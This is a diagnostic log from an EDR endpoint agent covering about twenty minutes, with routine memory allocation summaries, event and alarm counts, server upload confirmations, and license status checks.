2026-03-04 20:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2867 KB; ModuleMetadata: 2031 KB; BaseEvent: 665 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 296 KB; BatchSerializer::EventsQueueTag: 176 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39220 KB;
2026-03-04 20:28:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:24:17, To:, 2026-03-04 20:28:17, Duration (s):, 240, Events Per Second:, 17.015, Events:, 4092, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3390, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454550
2026-03-04 20:28:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s368ms.
2026-03-04 20:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1559 KB; TcpIpConnectionsManager: 586 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 278 KB; cloudutils::CloudData: 140 KB; BaseEvent: 107 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37191 KB;
2026-03-04 20:29:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:29:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:29:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:29:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1909 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 279 KB; rules::ProcessConditionsCache: 252 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 74 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37712 KB;
2026-03-04 20:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2325 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 476 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 315 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 127 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38442 KB;
2026-03-04 20:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2687 KB; ModuleMetadata: 2031 KB; BaseEvent: 655 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 264 KB; BatchSerializer::EventsQueueTag: 173 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38979 KB;
2026-03-04 20:32:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:28:17, To:, 2026-03-04 20:32:10, Duration (s):, 233, Events Per Second:, 17.600, Events:, 4103, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 703, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457127
2026-03-04 20:32:13 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s709ms.
2026-03-04 20:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2031 KB; ProcessInfo: 1946 KB; TcpIpConnectionsManager: 709 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 265 KB; rules::ProcessConditionsCache: 240 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37872 KB;
2026-03-04 20:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2649 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 841 KB; BaseEvent: 608 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 191 KB; BatchSerializer::EventsQueueTag: 159 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39093 KB;
2026-03-04 20:34:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:34:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:34:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:34:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:34:22 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:32:09, To:, 2026-03-04 20:34:21, Duration (s):, 132, Events Per Second:, 31.049, Events:, 4128, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3408, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 719, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458542
2026-03-04 20:34:24 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s619ms.
2026-03-04 20:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2508 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 965 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 208 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 134 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38514 KB;
2026-03-04 20:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3184 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 950 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 543 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 141 KB; cloudutils::CloudData: 140 KB; rules::ProcessConditionsCache: 51 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39517 KB;
2026-03-04 20:36:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:34:21, To:, 2026-03-04 20:36:29, Duration (s):, 128, Events Per Second:, 32.092, Events:, 4115, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3386, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 728, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455949
2026-03-04 20:36:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s363ms.
2026-03-04 20:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2520 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 928 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; rules::ProcessConditionsCache: 362 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BaseEvent: 117 KB; BatchSerializer::EventsQueueTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38605 KB;
2026-03-04 20:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2905 KB; ModuleMetadata: 2031 KB; TcpIpConnectionsManager: 826 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 363 KB; ModuleInfoCache: 323 KB; BaseEvent: 301 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 79 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39103 KB;
2026-03-04 20:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3263 KB; ModuleMetadata: 2032 KB; TcpIpConnectionsManager: 680 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 483 KB; rules::ProcessConditionsCache: 333 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 127 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 39520 KB;
2026-03-04 20:39:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:39:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:39:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:39:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 3668 KB; ModuleMetadata: 2032 KB; BaseEvent: 673 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 353 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 178 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 15 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 40057 KB;
2026-03-04 20:40:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:36:27, To:, 2026-03-04 20:40:17, Duration (s):, 230, Events Per Second:, 17.879, Events:, 4116, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3416, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459309
2026-03-04 20:40:18 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s406ms.
2026-03-04 20:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2032 KB; ProcessInfo: 1598 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 344 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BaseEvent: 117 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37251 KB;
2026-03-04 20:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ModuleMetadata: 2032 KB; ProcessInfo: 2001 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; rules::ProcessConditionsCache: 375 KB; ModuleInfoCache: 323 KB; BaseEvent: 302 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37983 KB;
2026-03-04 20:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30739 KB; ProcessInfo: 2361 KB; ModuleMetadata: 2032 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; BaseEvent: 479 KB; rules::ProcessConditionsCache: 332 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 129 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 38525 KB;
2026-03-04 20:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2733 KB; ModuleMetadata: 2034 KB; BaseEvent: 662 KB; TcpIpConnectionsManager: 588 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 352 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 177 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 39162 KB;
2026-03-04 20:44:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:44:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:44:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:44:01 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:44:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:40:16, To:, 2026-03-04 20:44:17, Duration (s):, 241, Events Per Second:, 17.052, Events:, 4125, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3422, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 3, Livegrid:, 3, OriginUrl:, 0, Alarms:, 696, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457499
2026-03-04 20:44:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s384ms.
2026-03-04 20:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1558 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; rules::ProcessConditionsCache: 331 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BaseEvent: 108 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37231 KB;
2026-03-04 20:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1924 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; rules::ProcessConditionsCache: 324 KB; ModuleInfoCache: 323 KB; BaseEvent: 299 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37806 KB;
2026-03-04 20:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2280 KB; ModuleMetadata: 2034 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BaseEvent: 473 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 302 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38355 KB;
2026-03-04 20:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2670 KB; ModuleMetadata: 2034 KB; BaseEvent: 657 KB; TcpIpConnectionsManager: 558 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 315 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 173 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39011 KB;
2026-03-04 20:48:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:44:17, To:, 2026-03-04 20:48:21, Duration (s):, 244, Events Per Second:, 16.696, Events:, 4081, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3349, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 18, Livegrid:, 18, OriginUrl:, 0, Alarms:, 695, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 451986
2026-03-04 20:48:22 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s404ms.
2026-03-04 20:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1562 KB; TcpIpConnectionsManager: 593 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 348 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 140 KB; BaseEvent: 99 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 37272 KB;
2026-03-04 20:49:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:49:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:49:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:49:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
